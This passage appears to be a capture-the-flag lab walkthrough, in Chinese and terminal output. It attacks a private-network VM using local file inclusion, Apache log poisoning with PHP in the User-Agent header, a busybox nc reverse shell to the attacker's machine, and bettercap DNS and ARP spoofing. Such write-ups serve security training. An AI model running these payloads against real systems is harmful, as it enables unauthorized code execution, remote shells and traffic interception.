Kal ddddx ~ ❯ curl "http://192.168.108.135/kavin/inc.php?i=../../../../../../etc/apache2/sites-enabled/000-default" <VirtualHost *:80> # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn
# For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf </VirtualHost>
192.168.108.128 - - [26/May/2025:17:19:05 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 149 "-""curl/8.13.0-rc2" Kal ddddx ~ ❯ curl -A "<?php system('id'); ?>" http://192.168.108.135/ <html> <body> <h1>It works!</h1> <p>This is the default web page for this server.</p> <p>The web server software is running but no content has been added, yet.</p> </body> </html> Kal ddddx ~ ❯ curl "http://192.168.108.135/kavin/inc.php?i=/var/www/kavin-logs/access"
192.168.108.128 - - [26/May/2025:17:19:05 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 149 "-""curl/8.13.0-rc2" 192.168.108.128 - - [26/May/2025:17:19:23 +0200] "GET /kavin/inc.php?i=/var/www/kavin-logs/access HTTP/1.1" 200 312 "-""curl/8.13.0-rc2" 192.168.108.128 - - [26/May/2025:17:21:52 +0200] "GET / HTTP/1.1" 200 438 "-""uid=33(www-data) gid=33(www-data) groups=33(www-data)" Kal ddddx ~ ❯ curl -A "<?php system('busybox nc 192.168.108.50 5555 -e /bin/bash'); ?>" http://192.168.108.135/ <html> <body> <h1>It works!</h1> <p>This is the default web page for this server.</p> <p>The web server software is running but no content has been added, yet.</p> </body> </html> Kal ddddx ~ ❯ curl "http://192.168.108.135/kavin/inc.php?i=/var/www/kavin-logs/access"
这里没有写入权限,我们采用DNS 欺骗 + ARP欺骗 + HTTP 代理把目标请求的 sp00is0ng.nyx 指到我们的 Kali 上,并伪造响应
先设置 DNS 欺骗,让所有请求 sp00is0ng.nyx 域名的 DNS 请求都被劫持,解析到我们的 Kali 机器 IP 192.168.108.50
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
Kal ddddx ~ ❯ sudo bettercap at 18:44:13 [sudo] password for ddddx: bettercap v2.33.0 (built for linux amd64 with go1.22.6) [type'help'for a list of commands]
192.168.108.0/24 > 192.168.108.50 » [18:44:24] [sys.log] [inf] gateway monitor started ... 192.168.108.0/24 > 192.168.108.50 » set dns.spoof.domains sp00is0ng.nyx 192.168.108.0/24 > 192.168.108.50 » set dns.spoof.address 192.168.108.50 192.168.108.0/24 > 192.168.108.50 » set arp.spoof.targets 192.168.108.135 192.168.108.0/24 > 192.168.108.50 » dns.spoof on [18:49:47] [sys.log] [inf] dns.spoof sp00is0ng.nyx -> 192.168.108.50 192.168.108.0/24 > 192.168.108.50 » [18:49:47] [sys.log] [inf] dns.spoof starting net.recon as a requirement for dns.spoof 192.168.108.0/24 > 192.168.108.50 » [18:49:47] [endpoint.new] endpoint 192.168.108.135 detected as 00:0c:29:af:07:e3 (VMware, Inc.). 192.168.108.0/24 > 192.168.108.50 » [18:49:47] [endpoint.new] endpoint 192.168.108.254 detected as 00:50:56:e4:4f:00 (VMware, Inc.). 192.168.108.0/24 > 192.168.108.50 » arp.spoof on 192.168.108.0/24 > 192.168.108.50 » [18:49:51] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets. 192.168.108.0/24 > 192.168.108.50 »